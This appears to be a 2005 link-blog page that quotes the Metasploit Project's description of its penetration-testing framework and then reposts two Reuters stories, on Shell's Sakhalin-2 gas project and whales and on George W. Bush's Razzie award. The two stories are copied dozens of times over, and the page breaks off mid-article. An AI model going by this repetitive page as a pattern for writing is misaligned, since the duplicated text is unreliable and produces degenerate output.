Genral Web Comments
Monday, February 28, 2005
The Metasploit Project
The Metasploit Project: "The Metasploit Framework is an advanced open-source platform for developing, testing, and using exploit code. This project initially started off as a portable network game and has evolved into a powerful tool for penetration testing, exploit development, and vulnerability research.
The Framework was written in the Perl scripting language and includes various components written in C, assembler, and Python. The widespread support for the Perl language allows the Framework to run on almost any Unix-like system under its default configuration. A customized Cygwin environment is provided for users of Windows-based operating systems. The project core is dual-licensed under the GPLv2 and Perl Artistic Licenses, allowing it to be used in both open-source and commercial projects.
This project can be roughly compared to commercial offerings such as Immunity's CANVAS and Core Security Technology's Impact. The major difference between the Framework and these commercial products is the focus; while the commercial products need to always provide the latest exploits and an intuitive GUI, the Framework was designed to facilitate research and experimentation with new technologies.
The Framework development team is made up of four full-time members and a handful of part-time contributors. If you would like to contact the Framework developers, please email msfdev[at]metasploit.com. "
Science News Article | Reuters.co.uk
Science News Article | Reuters.co.uk: "MOSCOW (Reuters) - Fears for the future of rare whales will not halt the Shell-led Sakhalin-2 gas project in Russia's far east, Shell's country manager said on Friday.
John Barry told Reuters the $10 billion venture, one of Royal Dutch/Shell's biggest, was on track to deliver its first cargo of Liquefied Natural Gas (LNG) in 2007 as planned.
The consortium recognized environmentalists' concerns and was considering measures such as re-routing pipelines to avoid damage to the gray whales' habitat, he said in an interview.
'The project is going ahead. I want to be unambiguous about that,' Barry said.
He said some statements in a report last week by environmentalists, which was requested by Shell, had been taken out of context, in particular a recommendation to halt the project to take stock of its effect on the whales.
'What it said was, the most precautionary approach would be to stop and gather further data,' he said. 'But it did say that if the project went ahead, mitigation measures were needed.
'That is important because the project is going ahead and there is no question of stopping it. It is an overwhelmingly positive project for Russia, for the shareholders and for the whole Asia-Pacific region,' he said."
Science News Article | Reuters.co.uk
Science News Article | Reuters.co.uk: "MOSCOW (Reuters) - Fears for the future of rare whales will not halt the Shell-led Sakhalin-2 gas project in Russia's far east, Shell's country manager said on Friday.
John Barry told Reuters the $10 billion venture, one of Royal Dutch/Shell's biggest, was on track to deliver its first cargo of Liquefied Natural Gas (LNG) in 2007 as planned.
The consortium recognized environmentalists' concerns and was considering measures such as re-routing pipelines to avoid damage to the gray whales' habitat, he said in an interview.
'The project is going ahead. I want to be unambiguous about that,' Barry said.
He said some statements in a report last week by environmentalists, which was requested by Shell, had been taken out of context, in particular a recommendation to halt the project to take stock of its effect on the whales.
'What it said was, the most precautionary approach would be to stop and gather further data,' he said. 'But it did say that if the project went ahead, mitigation measures were needed.
'That is important because the project is going ahead and there is no question of stopping it. It is an overwhelmingly positive project for Russia, for the shareholders and for the whole Asia-Pacific region,' he said."
Science News Article | Reuters.co.uk
Science News Article | Reuters.co.uk: "MOSCOW (Reuters) - Fears for the future of rare whales will not halt the Shell-led Sakhalin-2 gas project in Russia's far east, Shell's country manager said on Friday.
John Barry told Reuters the $10 billion venture, one of Royal Dutch/Shell's biggest, was on track to deliver its first cargo of Liquefied Natural Gas (LNG) in 2007 as planned.
The consortium recognized environmentalists' concerns and was considering measures such as re-routing pipelines to avoid damage to the gray whales' habitat, he said in an interview.
'The project is going ahead. I want to be unambiguous about that,' Barry said.
He said some statements in a report last week by environmentalists, which was requested by Shell, had been taken out of context, in particular a recommendation to halt the project to take stock of its effect on the whales.
'What it said was, the most precautionary approach would be to stop and gather further data,' he said. 'But it did say that if the project went ahead, mitigation measures were needed.
'That is important because the project is going ahead and there is no question of stopping it. It is an overwhelmingly positive project for Russia, for the shareholders and for the whole Asia-Pacific region,' he said."
Oddly Enough Article | Reuters.co.uk
Oddly Enough Article | Reuters.co.uk: "LOS ANGELES (Reuters) - Beating such established Hollywood hunks as Colin Farrell and Vin Diesel, U.S. President George W. Bush has won the Golden Raspberry Award on Saturday for worst actor of the year for his appearance in Michael Moore's documentary 'Fahrenheit 9/11'.
Bush, two members of his administration, Britney Spears and the storybook about a goat that the president was reading to children as the September 11 attacks were taking place all took top honours at the 'Razzie' awards on Sunday, now in their 25th year.
'Catwoman', starring 2002 best actress Oscar winner Halle Berry, tied with 'Fahrenheit 9/11' by scooping up four 'Razzies' -- worst picture, worst directing, worst screenplay and worst performance by an actress for Berry for her 'berry bad' work.
John Wilson, founder of the nonprofit Golden Raspberry Award Foundation that gives out 'Hollywood's least coveted trophies' on the eve of the Oscars ceremony, said Moore's anti-Bush documentary allowed the foundation's nearly 700 members to do some Bush bashing of their own.
The president not only was named worst male actor in a leading role, he also won for being half of the year's worst screen couple when paired with either Secretary of State Condoleezza Rice or 'My Pet Goat', the book he was reading to schoolchildren on the morning of September 11, 2001."
Oddly Enough Article | Reuters.co.uk
Oddly Enough Article | Reuters.co.uk: "LOS ANGELES (Reuters) - Beating such established Hollywood hunks as Colin Farrell and Vin Diesel, U.S. President George W. Bush has won the Golden Raspberry Award on Saturday for worst actor of the year for his appearance in Michael Moore's documentary 'Fahrenheit 9/11'.
Bush, two members of his administration, Britney Spears and the storybook about a goat that the president was reading to children as the September 11 attacks were taking place all took top honours at the 'Razzie' awards on Sunday, now in their 25th year.
'Catwoman', starring 2002 best actress Oscar winner Halle Berry, tied with 'Fahrenheit 9/11' by scooping up four 'Razzies' -- worst picture, worst directing, worst screenplay and worst performance by an actress for Berry for her 'berry bad' work.
John Wilson, founder of the nonprofit Golden Raspberry Award Foundation that gives out 'Hollywood's least coveted trophies' on the eve of the Oscars ceremony, said Moore's anti-Bush documentary allowed the foundation's nearly 700 members to do some Bush bashing of their own.
The president not only was named worst male actor in a leading role, he also won for being half of the year's worst screen couple when paired with either Secretary of State Condoleezza Rice or 'My Pet Goat', the book he was reading to schoolchildren on the morning of September 11, 2001."
Science News Article | Reuters.co.uk
Science News Article | Reuters.co.uk: "MOSCOW (Reuters) - Fears for the future of rare whales will not halt the Shell-led Sakhalin-2 gas project in Russia's far east, Shell's country manager said on Friday.
John Barry told Reuters the $10 billion venture, one of Royal Dutch/Shell's biggest, was on track to deliver its first cargo of Liquefied Natural Gas (LNG) in 2007 as planned.
The consortium recognized environmentalists' concerns and was considering measures such as re-routing pipelines to avoid damage to the gray whales' habitat, he said in an interview.
'The project is going ahead. I want to be unambiguous about that,' Barry said.
He said some statements in a report last week by environmentalists, which was requested by Shell, had been taken out of context, in particular a recommendation to halt the project to take stock of its effect on the whales.
'What it said was, the most precautionary approach would be to stop and gather further data,' he said. 'But it did say that if the project went ahead, mitigation measures were needed.
'That is important because the project is going ahead and there is no question of stopping it. It is an overwhelmingly positive project for Russia, for the shareholders and for the whole Asia-Pacific region,' he said."
Science News Article | Reuters.co.uk
Science News Article | Reuters.co.uk: "MOSCOW (Reuters) - Fears for the future of rare whales will not halt the Shell-led Sakhalin-2 gas project in Russia's far east, Shell's country manager said on Friday.
John Barry told Reuters the $10 billion venture, one of Royal Dutch/Shell's biggest, was on track to deliver its first cargo of Liquefied Natural Gas (LNG) in 2007 as planned.
The consortium recognized environmentalists' concerns and was considering measures such as re-routing pipelines to avoid damage to the gray whales' habitat, he said in an interview.
'The project is going ahead. I want to be unambiguous about that,' Barry said.
He said some statements in a report last week by environmentalists, which was requested by Shell, had been taken out of context, in particular a recommendation to halt the project to take stock of its effect on the whales.
'What it said was, the most precautionary approach would be to stop and gather further data,' he said. 'But it did say that if the project went ahead, mitigation measures were needed.
'That is important because the project is going ahead and there is no question of stopping it. It is an overwhelmingly positive project for Russia, for the shareholders and for the whole Asia-Pacific region,' he said."
Science News Article | Reuters.co.uk
Science News Article | Reuters.co.uk: "MOSCOW (Reuters) - Fears for the future of rare whales will not halt the Shell-led Sakhalin-2 gas project in Russia's far east, Shell's country manager said on Friday.
John Barry told Reuters the $10 billion venture, one of Royal Dutch/Shell's biggest, was on track to deliver its first cargo of Liquefied Natural Gas (LNG) in 2007 as planned.
The consortium recognized environmentalists' concerns and was considering measures such as re-routing pipelines to avoid damage to the gray whales' habitat, he said in an interview.
'The project is going ahead. I want to be unambiguous about that,' Barry said.
He said some statements in a report last week by environmentalists, which was requested by Shell, had been taken out of context, in particular a recommendation to halt the project to take stock of its effect on the whales.
'What it said was, the most precautionary approach would be to stop and gather further data,' he said. 'But it did say that if the project went ahead, mitigation measures were needed.
'That is important because the project is going ahead and there is no question of stopping it. It is an overwhelmingly positive project for Russia, for the shareholders and for the whole Asia-Pacific region,' he said."
Science News Article | Reuters.co.uk
Science News Article | Reuters.co.uk: "MOSCOW (Reuters) - Fears for the future of rare whales will not halt the Shell-led Sakhalin-2 gas project in Russia's far east, Shell's country manager said on Friday.
John Barry told Reuters the $10 billion venture, one of Royal Dutch/Shell's biggest, was on track to deliver its first cargo of Liquefied Natural Gas (LNG) in 2007 as planned.
The consortium recognized environmentalists' concerns and was considering measures such as re-routing pipelines to avoid damage to the gray whales' habitat, he said in an interview.
'The project is going ahead. I want to be unambiguous about that,' Barry said.
He said some statements in a report last week by environmentalists, which was requested by Shell, had been taken out of context, in particular a recommendation to halt the project to take stock of its effect on the whales.
'What it said was, the most precautionary approach would be to stop and gather further data,' he said. 'But it did say that if the project went ahead, mitigation measures were needed.
'That is important because the project is going ahead and there is no question of stopping it. It is an overwhelmingly positive project for Russia, for the shareholders and for the whole Asia-Pacific region,' he said."
Oddly Enough Article | Reuters.co.uk
Oddly Enough Article | Reuters.co.uk: "LOS ANGELES (Reuters) - Beating such established Hollywood hunks as Colin Farrell and Vin Diesel, U.S. President George W. Bush has won the Golden Raspberry Award on Saturday for worst actor of the year for his appearance in Michael Moore's documentary 'Fahrenheit 9/11'.
Bush, two members of his administration, Britney Spears and the storybook about a goat that the president was reading to children as the September 11 attacks were taking place all took top honours at the 'Razzie' awards on Sunday, now in their 25th year.
'Catwoman', starring 2002 best actress Oscar winner Halle Berry, tied with 'Fahrenheit 9/11' by scooping up four 'Razzies' -- worst picture, worst directing, worst screenplay and worst performance by an actress for Berry for her 'berry bad' work.
John Wilson, founder of the nonprofit Golden Raspberry Award Foundation that gives out 'Hollywood's least coveted trophies' on the eve of the Oscars ceremony, said Moore's anti-Bush documentary allowed the foundation's nearly 700 members to do some Bush bashing of their own.
The president not only was named worst male actor in a leading role, he also won for being half of the year's worst screen couple when paired with either Secretary of State Condoleezza Rice or 'My Pet Goat', the book he was reading to schoolchildren on the morning of September 11, 2001."
Oddly Enough Article | Reuters.co.uk
Oddly Enough Article | Reuters.co.uk: "LOS ANGELES (Reuters) - Beating such established Hollywood hunks as Colin Farrell and Vin Diesel, U.S. President George W. Bush has won the Golden Raspberry Award on Saturday for worst actor of the year for his appearance in Michael Moore's documentary 'Fahrenheit 9/11'.
Bush, two members of his administration, Britney Spears and the storybook about a goat that the president was reading to children as the September 11 attacks were taking place all took top honours at the 'Razzie' awards on Sunday, now in their 25th year.
'Catwoman', starring 2002 best actress Oscar winner Halle Berry, tied with 'Fahrenheit 9/11' by scooping up four 'Razzies' -- worst picture, worst directing, worst screenplay and worst performance by an actress for Berry for her 'berry bad' work.
John Wilson, founder of the nonprofit Golden Raspberry Award Foundation that gives out 'Hollywood's least coveted trophies' on the eve of the Oscars ceremony, said Moore's anti-Bush documentary allowed the foundation's nearly 700 members to do some Bush bashing of their own.
The president not only was named worst male actor in a leading role, he also won for being half of the year's worst screen couple when paired with either Secretary of State Condoleezza Rice or 'My Pet Goat', the book he was reading to schoolchildren on the morning of September 11, 2001."
Science News Article | Reuters.co.uk
Science News Article | Reuters.co.uk: "MOSCOW (Reuters) - Fears for the future of rare whales will not halt the Shell-led Sakhalin-2 gas project in Russia's far east, Shell's country manager said on Friday.
John Barry told Reuters the $10 billion venture, one of Royal Dutch/Shell's biggest, was on track to deliver its first cargo of Liquefied Natural Gas (LNG) in 2007 as planned.
The consortium recognized environmentalists' concerns and was considering measures such as re-routing pipelines to avoid damage to the gray whales' habitat, he said in an interview.
'The project is going ahead. I want to be unambiguous about that,' Barry said.
He said some statements in a report last week by environmentalists, which was requested by Shell, had been taken out of context, in particular a recommendation to halt the project to take stock of its effect on the whales.
'What it said was, the most precautionary approach would be to stop and gather further data,' he said. 'But it did say that if the project went ahead, mitigation measures were needed.
'That is important because the project is going ahead and there is no question of stopping it. It is an overwhelmingly positive project for Russia, for the shareholders and for the whole Asia-Pacific region,' he said."
Science News Article | Reuters.co.uk
Science News Article | Reuters.co.uk: "MOSCOW (Reuters) - Fears for the future of rare whales will not halt the Shell-led Sakhalin-2 gas project in Russia's far east, Shell's country manager said on Friday.
John Barry told Reuters the $10 billion venture, one of Royal Dutch/Shell's biggest, was on track to deliver its first cargo of Liquefied Natural Gas (LNG) in 2007 as planned.
The consortium recognized environmentalists' concerns and was considering measures such as re-routing pipelines to avoid damage to the gray whales' habitat, he said in an interview.
'The project is going ahead. I want to be unambiguous about that,' Barry said.
He said some statements in a report last week by environmentalists, which was requested by Shell, had been taken out of context, in particular a recommendation to halt the project to take stock of its effect on the whales.
'What it said was, the most precautionary approach would be to stop and gather further data,' he said. 'But it did say that if the project went ahead, mitigation measures were needed.
'That is important because the project is going ahead and there is no question of stopping it. It is an overwhelmingly positive project for Russia, for the shareholders and for the whole Asia-Pacific region,' he said."
Oddly Enough Article | Reuters.co.uk
Oddly Enough Article | Reuters.co.uk: "LOS ANGELES (Reuters) - Beating such established Hollywood hunks as Colin Farrell and Vin Diesel, U.S. President George W. Bush has won the Golden Raspberry Award on Saturday for worst actor of the year for his appearance in Michael Moore's documentary 'Fahrenheit 9/11'.
Bush, two members of his administration, Britney Spears and the storybook about a goat that the president was reading to children as the September 11 attacks were taking place all took top honours at the 'Razzie' awards on Sunday, now in their 25th year.
'Catwoman', starring 2002 best actress Oscar winner Halle Berry, tied with 'Fahrenheit 9/11' by scooping up four 'Razzies' -- worst picture, worst directing, worst screenplay and worst performance by an actress for Berry for her 'berry bad' work.
John Wilson, founder of the nonprofit Golden Raspberry Award Foundation that gives out 'Hollywood's least coveted trophies' on the eve of the Oscars ceremony, said Moore's anti-Bush documentary allowed the foundation's nearly 700 members to do some Bush bashing of their own.
The president not only was named worst male actor in a leading role, he also won for being half of the year's worst screen couple when paired with either Secretary of State Condoleezza Rice or 'My Pet Goat', the book he was reading to schoolchildren on the morning of September 11, 2001."
Oddly Enough Article | Reuters.co.uk
Oddly Enough Article | Reuters.co.uk: "LOS ANGELES (Reuters) - Beating such established Hollywood hunks as Colin Farrell and Vin Diesel, U.S. President George W. Bush has won the Golden Raspberry Award on Saturday for worst actor of the year for his appearance in Michael Moore's documentary 'Fahrenheit 9/11'.
Bush, two members of his administration, Britney Spears and the storybook about a goat that the president was reading to children as the September 11 attacks were taking place all took top honours at the 'Razzie' awards on Sunday, now in their 25th year.
'Catwoman', starring 2002 best actress Oscar winner Halle Berry, tied with 'Fahrenheit 9/11' by scooping up four 'Razzies' -- worst picture, worst directing, worst screenplay and worst performance by an actress for Berry for her 'berry bad' work.
John Wilson, founder of the nonprofit Golden Raspberry Award Foundation that gives out 'Hollywood's least coveted trophies' on the eve of the Oscars ceremony, said Moore's anti-Bush documentary allowed the foundation's nearly 700 members to do some Bush bashing of their own.
The president not only was named worst male actor in a leading role, he also won for being half of the year's worst screen couple when paired with either Secretary of State Condoleezza Rice or 'My Pet Goat', the book he was reading to schoolchildren on the morning of September 11, 2001."
Oddly Enough Article | Reuters.co.uk
Oddly Enough Article | Reuters.co.uk: "LOS ANGELES (Reuters) - Beating such established Hollywood hunks as Colin Farrell and Vin Diesel, U.S. President George W. Bush has won the Golden Raspberry Award on Saturday for worst actor of the year for his appearance in Michael Moore's documentary 'Fahrenheit 9/11'.
Bush, two members of his administration, Britney Spears and the storybook about a goat that the president was reading to children as the September 11 attacks were taking place all took top honours at the 'Razzie' awards on Sunday, now in their 25th year.
'Catwoman', starring 2002 best actress Oscar winner Halle Berry, tied with 'Fahrenheit 9/11' by scooping up four 'Razzies' -- worst picture, worst directing, worst screenplay and worst performance by an actress for Berry for her 'berry bad' work.
John Wilson, founder of the nonprofit Golden Raspberry Award Foundation that gives out 'Hollywood's least coveted trophies' on the eve of the Oscars ceremony, said Moore's anti-Bush documentary allowed the foundation's nearly 700 members to do some Bush bashing of their own.
The president not only was named worst male actor in a leading role, he also won for being half of the year's worst screen couple when paired with either Secretary of State Condoleezza Rice or 'My Pet Goat', the book he was reading to schoolchildren on the morning of September 11, 2001."
Oddly Enough Article | Reuters.co.uk
Oddly Enough Article | Reuters.co.uk: "LOS ANGELES (Reuters) - Beating such established Hollywood hunks as Colin Farrell and Vin Diesel, U.S. President George W. Bush has won the Golden Raspberry Award on Saturday for worst actor of the year for his appearance in Michael Moore's documentary 'Fahrenheit 9/11'.
Bush, two members of his administration, Britney Spears and the storybook about a goat that the president was reading to children as the September 11 attacks were taking place all took top honours at the 'Razzie' awards on Sunday, now in their 25th year.
'Catwoman', starring 2002 best actress Oscar winner Halle Berry, tied with 'Fahrenheit 9/11' by scooping up four 'Razzies' -- worst picture, worst directing, worst screenplay and worst performance by an actress for Berry for her 'berry bad' work.
John Wilson, founder of the nonprofit Golden Raspberry Award Foundation that gives out 'Hollywood's least coveted trophies' on the eve of the Oscars ceremony, said Moore's anti-Bush documentary allowed the foundation's nearly 700 members to do some Bush bashing of their own.
The president not only was named worst male actor in a leading role, he also won for being half of the year's worst screen couple when paired with either Secretary of State Condoleezza Rice or 'My Pet Goat', the book he was reading to schoolchildren on the morning of September 11, 2001."
Oddly Enough Article | Reuters.co.uk
Oddly Enough Article | Reuters.co.uk: "LOS ANGELES (Reuters) - Beating such established Hollywood hunks as Colin Farrell and Vin Diesel, U.S. President George W. Bush has won the Golden Raspberry Award on Saturday for worst actor of the year for his appearance in Michael Moore's documentary 'Fahrenheit 9/11'.
Bush, two members of his administration, Britney Spears and the storybook about a goat that the president was reading to children as the September 11 attacks were taking place all took top honours at the 'Razzie' awards on Sunday, now in their 25th year.
'Catwoman', starring 2002 best actress Oscar winner Halle Berry, tied with 'Fahrenheit 9/11' by scooping up four 'Razzies' -- worst picture, worst directing, worst screenplay and worst performance by an actress for Berry for her 'berry bad' work.
John Wilson, founder of the nonprofit Golden Raspberry Award Foundation that gives out 'Hollywood's least coveted trophies' on the eve of the Oscars ceremony, said Moore's anti-Bush documentary allowed the foundation's nearly 700 members to do some Bush bashing of their own.
The president not only was named worst male actor in a leading role, he also won for being half of the year's worst screen couple when paired with either Secretary of State Condoleezza Rice or 'My Pet Goat', the book he was reading to schoolchildren on the morning of September 11, 2001."
Oddly Enough Article | Reuters.co.uk
Oddly Enough Article | Reuters.co.uk: "LOS ANGELES (Reuters) - Beating such established Hollywood hunks as Colin Farrell and Vin Diesel, U.S. President George W. Bush has won the Golden Raspberry Award on Saturday for worst actor of the year for his appearance in Michael Moore's documentary 'Fahrenheit 9/11'.
Bush, two members of his administration, Britney Spears and the storybook about a goat that the president was reading to children as the September 11 attacks were taking place all took top honours at the 'Razzie' awards on Sunday, now in their 25th year.
'Catwoman', starring 2002 best actress Oscar winner Halle Berry, tied with 'Fahrenheit 9/11' by scooping up four 'Razzies' -- worst picture, worst directing, worst screenplay and worst performance by an actress for Berry for her 'berry bad' work.
John Wilson, founder of the nonprofit Golden Raspberry Award Foundation that gives out 'Hollywood's least coveted trophies' on the eve of the Oscars ceremony, said Moore's anti-Bush documentary allowed the foundation's nearly 700 members to do some Bush bashing of their own.
The president not only was named worst male actor in a leading role, he also won for being half of the year's worst screen couple when paired with either Secretary of State Condoleezza Rice or 'My Pet Goat', the book he was reading to schoolchildren on the morning of September 11, 2001."
Oddly Enough Article | Reuters.co.uk
Oddly Enough Article | Reuters.co.uk: "LOS ANGELES (Reuters) - Beating such established Hollywood hunks as Colin Farrell and Vin Diesel, U.S. President George W. Bush has won the Golden Raspberry Award on Saturday for worst actor of the year for his appearance in Michael Moore's documentary 'Fahrenheit 9/11'.
Bush, two members of his administration, Britney Spears and the storybook about a goat that the president was reading to children as the September 11 attacks were taking place all took top honours at the 'Razzie' awards on Sunday, now in their 25th year.
'Catwoman', starring 2002 best actress Oscar winner Halle Berry, tied with 'Fahrenheit 9/11' by scooping up four 'Razzies' -- worst picture, worst directing, worst screenplay and worst performance by an actress for Berry for her 'berry bad' work.
John Wilson, founder of the nonprofit Golden Raspberry Award Foundation that gives out 'Hollywood's least coveted trophies' on the eve of the Oscars ceremony, said Moore's anti-Bush documentary allowed the foundation's nearly 700 members to do some Bush bashing of their own.
The president not only was named worst male actor in a leading role, he also won for being half of the year's worst screen couple when paired with either Secretary of State Condoleezza Rice or 'My Pet Goat', the book he was reading to schoolchildren on the morning of September 11, 2001."
Oddly Enough Article | Reuters.co.uk
Oddly Enough Article | Reuters.co.uk: "LOS ANGELES (Reuters) - Beating such established Hollywood hunks as Colin Farrell and Vin Diesel, U.S. President George W. Bush has won the Golden Raspberry Award on Saturday for worst actor of the year for his appearance in Michael Moore's documentary 'Fahrenheit 9/11'.
Bush, two members of his administration, Britney Spears and the storybook about a goat that the president was reading to children as the September 11 attacks were taking place all took top honours at the 'Razzie' awards on Sunday, now in their 25th year.
'Catwoman', starring 2002 best actress Oscar winner Halle Berry, tied with 'Fahrenheit 9/11' by scooping up four 'Razzies' -- worst picture, worst directing, worst screenplay and worst performance by an actress for Berry for her 'berry bad' work.
John Wilson, founder of the nonprofit Golden Raspberry Award Foundation that gives out 'Hollywood's least coveted trophies' on the eve of the Oscars ceremony, said Moore's anti-Bush documentary allowed the foundation's nearly 700 members to do some Bush bashing of their own.
The president not only was named worst male actor in a leading role, he also won for being half of the year's worst screen couple when paired with either Secretary of State Condoleezza Rice or 'My Pet Goat', the book he was reading to schoolchildren on the morning of September 11, 2001."
Science News Article | Reuters.co.uk
Science News Article | Reuters.co.uk: "MOSCOW (Reuters) - Fears for the future of rare whales will not halt the Shell-led Sakhalin-2 gas project in Russia's far east, Shell's country manager said on Friday.
John Barry told Reuters the $10 billion venture, one of Royal Dutch/Shell's biggest, was on track to deliver its first cargo of Liquefied Natural Gas (LNG) in 2007 as planned.
The consortium recognized environmentalists' concerns and was considering measures such as re-routing pipelines to avoid damage to the gray whales' habitat, he said in an interview.
'The project is going ahead. I want to be unambiguous about that,' Barry said.
He said some statements in a report last week by environmentalists, which was requested by Shell, had been taken out of context, in particular a recommendation to halt the project to take stock of its effect on the whales.
'What it said was, the most precautionary approach would be to stop and gather further data,' he said. 'But it did say that if the project went ahead, mitigation measures were needed.
'That is important because the project is going ahead and there is no question of stopping it. It is an overwhelmingly positive project for Russia, for the shareholders and for the whole Asia-Pacific region,' he said."
Science News Article | Reuters.co.uk
Science News Article | Reuters.co.uk: "MOSCOW (Reuters) - Fears for the future of rare whales will not halt the Shell-led Sakhalin-2 gas project in Russia's far east, Shell's country manager said on Friday.
John Barry told Reuters the $10 billion venture, one of Royal Dutch/Shell's biggest, was on track to deliver its first cargo of Liquefied Natural Gas (LNG) in 2007 as planned.
The consortium recognized environmentalists' concerns and was considering measures such as re-routing pipelines to avoid damage to the gray whales' habitat, he said in an interview.
'The project is going ahead. I want to be unambiguous about that,' Barry said.
He said some statements in a report last week by environmentalists, which was requested by Shell, had been taken out of context, in particular a recommendation to halt the project to take stock of its effect on the whales.
'What it said was, the most precautionary approach would be to stop and gather further data,' he said. 'But it did say that if the project went ahead, mitigation measures were needed.
'That is important because the project is going ahead and there is no question of stopping it. It is an overwhelmingly positive project for Russia, for the shareholders and for the whole Asia-Pacific region,' he said."
Science News Article | Reuters.co.uk
Science News Article | Reuters.co.uk: "MOSCOW (Reuters) - Fears for the future of rare whales will not halt the Shell-led Sakhalin-2 gas project in Russia's far east, Shell's country manager said on Friday.
John Barry told Reuters the $10 billion venture, one of Royal Dutch/Shell's biggest, was on track to deliver its first cargo of Liquefied Natural Gas (LNG) in 2007 as planned.
The consortium recognized environmentalists' concerns and was considering measures such as re-routing pipelines to avoid damage to the gray whales' habitat, he said in an interview.
'The project is going ahead. I want to be unambiguous about that,' Barry said.
He said some statements in a report last week by environmentalists, which was requested by Shell, had been taken out of context, in particular a recommendation to halt the project to take stock of its effect on the whales.
'What it said was, the most precautionary approach would be to stop and gather further data,' he said. 'But it did say that if the project went ahead, mitigation measures were needed.
'That is important because the project is going ahead and there is no question of stopping it. It is an overwhelmingly positive project for Russia, for the shareholders and for the whole Asia-Pacific region,' he said."
Science News Article | Reuters.co.uk
Science News Article | Reuters.co.uk: "MOSCOW (Reuters) - Fears for the future of rare whales will not halt the Shell-led Sakhalin-2 gas project in Russia's far east, Shell's country manager said on Friday.
John Barry told Reuters the $10 billion venture, one of Royal Dutch/Shell's biggest, was on track to deliver its first cargo of Liquefied Natural Gas (LNG) in 2007 as planned.
The consortium recognized environmentalists' concerns and was considering measures such as re-routing pipelines to avoid damage to the gray whales' habitat, he said in an interview.
'The project is going ahead. I want to be unambiguous about that,' Barry said.
He said some statements in a report last week by environmentalists, which was requested by Shell, had been taken out of context, in particular a recommendation to halt the project to take stock of its effect on the whales.
'What it said was, the most precautionary approach would be to stop and gather further data,' he said. 'But it did say that if the project went ahead, mitigation measures were needed.
'That is important because the project is going ahead and there is no question of stopping it. It is an overwhelmingly positive project for Russia, for the shareholders and for the whole Asia-Pacific region,' he said."
Science News Article | Reuters.co.uk
Science News Article | Reuters.co.uk: "MOSCOW (Reuters) - Fears for the future of rare whales will not halt the Shell-led Sakhalin-2 gas project in Russia's far east, Shell's country manager said on Friday.
John Barry told Reuters the $10 billion venture, one of Royal Dutch/Shell's biggest, was on track to deliver its first cargo of Liquefied Natural Gas (LNG) in 2007 as planned.
The consortium recognized environmentalists' concerns and was considering measures such as re-routing pipelines to avoid damage to the gray whales' habitat, he said in an interview.
'The project is going ahead. I want to be unambiguous about that,' Barry said.
He said some statements in a report last week by environmentalists, which was requested by Shell, had been taken out of context, in particular a recommendation to halt the project to take stock of its effect on the whales.
'What it said was, the most precautionary approach would be to stop and gather further data,' he said. 'But it did say that if the project went ahead, mitigation measures were needed.
'That is important because the project is going ahead and there is no question of stopping it. It is an overwhelmingly positive project for Russia, for the shareholders and for the whole Asia-Pacific region,' he said."
Science News Article | Reuters.co.uk
Science News Article | Reuters.co.uk: "MOSCOW (Reuters) - Fears for the future of rare whales will not halt the Shell-led Sakhalin-2 gas project in Russia's far east, Shell's country manager said on Friday.
John Barry told Reuters the $10 billion venture, one of Royal Dutch/Shell's biggest, was on track to deliver its first cargo of Liquefied Natural Gas (LNG) in 2007 as planned.
The consortium recognized environmentalists' concerns and was considering measures such as re-routing pipelines to avoid damage to the gray whales' habitat, he said in an interview.
'The project is going ahead. I want to be unambiguous about that,' Barry said.
He said some statements in a report last week by environmentalists, which was requested by Shell, had been taken out of context, in particular a recommendation to halt the project to take stock of its effect on the whales.
'What it said was, the most precautionary approach would be to stop and gather further data,' he said. 'But it did say that if the project went ahead, mitigation measures were needed.
'That is important because the project is going ahead and there is no question of stopping it. It is an overwhelmingly positive project for Russia, for the shareholders and for the whole Asia-Pacific region,' he said."
Oddly Enough Article | Reuters.co.uk
Oddly Enough Article | Reuters.co.uk: "LOS ANGELES (Reuters) - Beating such established Hollywood hunks as Colin Farrell and Vin Diesel, U.S. President George W. Bush has won the Golden Raspberry Award on Saturday for worst actor of the year for his appearance in Michael Moore's documentary 'Fahrenheit 9/11'.
Bush, two members of his administration, Britney Spears and the storybook about a goat that the president was reading to children as the September 11 attacks were taking place all took top honours at the 'Razzie' awards on Sunday, now in their 25th year.
'Catwoman', starring 2002 best actress Oscar winner Halle Berry, tied with 'Fahrenheit 9/11' by scooping up four 'Razzies' -- worst picture, worst directing, worst screenplay and worst performance by an actress for Berry for her 'berry bad' work.
John Wilson, founder of the nonprofit Golden Raspberry Award Foundation that gives out 'Hollywood's least coveted trophies' on the eve of the Oscars ceremony, said Moore's anti-Bush documentary allowed the foundation's nearly 700 members to do some Bush bashing of their own.
The president not only was named worst male actor in a leading role, he also won for being half of the year's worst screen couple when paired with either Secretary of State Condoleezza Rice or 'My Pet Goat', the book he was reading to schoolchildren on the morning of September 11, 2001."
Oddly Enough Article | Reuters.co.uk
Oddly Enough Article | Reuters.co.uk: "LOS ANGELES (Reuters) - Beating such established Hollywood hunks as Colin Farrell and Vin Diesel, U.S. President George W. Bush has won the Golden Raspberry Award on Saturday for worst actor of the year for his appearance in Michael Moore's documentary 'Fahrenheit 9/11'.
Bush, two members of his administration, Britney Spears and the storybook about a goat that the president was reading to children as the September 11 attacks were taking place all took top honours at the 'Razzie' awards on Sunday, now in their 25th year.
'Catwoman', starring 2002 best actress Oscar winner Halle Berry, tied with 'Fahrenheit 9/11' by scooping up four 'Razzies' -- worst picture, worst directing, worst screenplay and worst performance by an actress for Berry for her 'berry bad' work.
John Wilson, founder of the nonprofit Golden Raspberry Award Foundation that gives out 'Hollywood's least coveted trophies' on the eve of the Oscars ceremony, said Moore's anti-Bush documentary allowed the foundation's nearly 700 members to do some Bush bashing of their own.
The president not only was named worst male actor in a leading role, he also won for being half of the year's worst screen couple when paired with either Secretary of State Condoleezza Rice or 'My Pet Goat', the book he was reading to schoolchildren on the morning of September 11, 2001."
Oddly Enough Article | Reuters.co.uk
Oddly Enough Article | Reuters.co.uk: "LOS ANGELES (Reuters) - Beating such established Hollywood hunks as Colin Farrell and Vin Diesel, U.S. President George W. Bush has won the Golden Raspberry Award on Saturday for worst actor of the year for his appearance in Michael Moore's documentary 'Fahrenheit 9/11'.
Bush, two members of his administration, Britney Spears and the storybook about a goat that the president was reading to children as the September 11 attacks were taking place all took top honours at the 'Razzie' awards on Sunday, now in their 25th year.
'Catwoman', starring 2002 best actress Oscar winner Halle Berry, tied with 'Fahrenheit 9/11' by scooping up four 'Razzies' -- worst picture, worst directing, worst screenplay and worst performance by an actress for Berry for her 'berry bad' work.
John Wilson, founder of the nonprofit Golden Raspberry Award Foundation that gives out 'Hollywood's least coveted trophies' on the eve of the Oscars ceremony, said Moore's anti-Bush documentary allowed the foundation's nearly 700 members to do some Bush bashing of their own.
